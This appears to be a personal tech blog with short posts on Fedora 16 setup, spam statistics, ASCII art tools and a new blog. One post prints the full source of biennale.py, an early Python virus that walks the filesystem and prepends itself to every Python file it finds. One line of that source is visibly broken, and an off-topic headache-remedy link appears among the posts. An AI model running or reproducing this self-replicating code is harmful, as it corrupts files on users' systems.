Installing and setting up Fedora 16

Just installed Fedora 16. Its a tough thing to remember what all software I normally install, so I looked up a couple of sites. Some of the good ones are

http://fedora.missingbox.co.nz/ - This site forgot to mention that libdvdcss is not present in the rpmfusion
http://www.mjmwired.net/resources/mjm-fedora-f16.html

http://www.howtoforge.com/the-perfect-desktop-fedora-16-i686-gnome This site is good for beginners.

But what surprised me the most was the Auto Plus +. It gives you a very simple interface to install codecs, software that are not in the repositories or require some typing in the terminal.
http://www.dnmouse.org/autoten/

Saying good bye to headache

http://getpainfree.tv/end-headache-pain-now/

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:
http://www.hungry-hackers.com/2010/06/seven-steps-to-become-a-world-class-computer-engineer.html

Spams

Here's a list of Email Spam by Topic that I picked up from Wikipedia:
http://en.wikipedia.org/wiki/E-mail_spam

EMail Spam by Topic

Pharmacy	81%
Replica	5.40%
Enhancers	2.30%
Phishing	2.30%
Degrees[16]	1.30%
Casino	1%
Weight Loss	0.40%
Other	6.30%

A good article about the end of one of the big spammers http://www.wired.com/wired/archive/14.08/spamking_pr.html
Can you believe he sent about 25 million emails a day?

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus: http://www.0100101110101101.org/home/biennale_py/index.html

The source code is

# biennale.py _ go         to  49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG  [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
   try:
       soul = open(guest, "r")
       body = soul.read()
       soul.close()
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
           soul.close()
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
   try:
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
     
if  == '':
       mysoul = open(sys.argv[0])
       mybody = mysoul.read()
       mybody = mybody[:find(mybody, "#"*3) + 3]
       mysoul.close()
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       join("/")
       print ">      This file was contaminated by biennale.py, the world slowest virus."
     
       print "Either Linux or Windows, biennale.py is definetely the first Python virus."
       print "[epidemiC] http://www.epidemic.ws  HTTP://WWW.0100101110101101.ORG "
       print ">  <"
###

New Blog

Hi guys,

Just started another blog http://blvdeer.co.cc/blog

Why a new blog?
1. This blog is about technical only. The will be about everything.
2. I wanted to try wordpress.
3. This blog is blocked at my office.

You never update this blog, do you think you will update the new one?
Yeah that's kind of true. Let's see what happens.

ASCII Arts

What is ASCII Arts?

There are some websites with wonderful contents like

http://www.ascii-art.de/
http://www.chris.com/ascii/index.php

There are many other websites that allow you to create signatures using ASCII Arts.
Yeah they are cool, but have your heard of JavE??

It is a small cool software that allows you to draw your ascii arts by yourself. Its like using Ms-Paint. It is really simple. It allows usage of many fonts and the collection can be expanded with downloadable font library (they call it Figlet).

It also allows converting an image into ascii art and creating animations.

It is a freeware. They have pointed on their website that it will shift to GPL license making it opensource but it hasn't happened for sometime.

Go ahead and try it out:

http://www.jave.de/